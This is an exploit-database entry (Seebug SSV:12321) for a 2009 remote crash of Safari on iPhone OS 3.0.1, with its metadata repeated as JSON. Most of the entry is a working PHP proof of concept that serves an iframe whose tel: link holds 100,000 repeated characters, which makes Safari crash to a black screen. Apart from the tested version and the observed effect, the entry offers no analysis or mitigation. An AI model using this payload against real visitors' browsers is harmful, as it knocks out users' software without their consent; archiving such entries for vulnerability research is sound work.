Search...

Apple Safari IPhone (using tel:) Remote Crash Exploit

2009-09-16T00:00:00

ID SSV:12321
Type seebug
Reporter Root
Modified 2009-09-16T00:00:00

Description

No description provided by source.

                                        
                                            
                                                # Apple Safari Iphone Crash using tel:
# Found by cloud : cloud[at]madpowah[dot]org
# http://blog.madpowah.org

# Tested on Iphone 3G, OS 3.0.1
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear

# Exploit:

&lt;?php
set_time_limit(0);
$var = &quot;&quot;;
for ($i=0; $i&lt;100000; $i++){
       $var = $var . &quot;A&quot;;
}
echo '&lt;iframe src=&quot;tel:' . $var .'&quot;&gt;&lt;/iframe&gt;';
?&gt;

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-12321", "status": "poc", "bulletinFamily": "exploit", "modified": "2009-09-16T00:00:00", "title": "Apple Safari IPhone (using tel:) Remote Crash Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-12321", "cvelist": [], "description": "No description provided by source.", "viewCount": 1, "published": "2009-09-16T00:00:00", "sourceData": "\n # Apple Safari Iphone Crash using tel:\r\n# Found by cloud : cloud[at]madpowah[dot]org\r\n# http://blog.madpowah.org\r\n\r\n# Tested on Iphone 3G, OS 3.0.1\r\n# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear\r\n\r\n# Exploit:\r\n\r\n<?php\r\nset_time_limit(0);\r\n$var = "";\r\nfor ($i=0; $i<100000; $i++){\r\n $var = $var . "A";\r\n}\r\necho '<iframe src="tel:' . $var .'"></iframe>';\r\n?> \n ", "id": "SSV:12321", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T18:35:07", "reporter": "Root", "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2017-11-19T18:35:07", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T18:35:07", "rev": 2}, "vulnersScore": -0.2}, "references": []}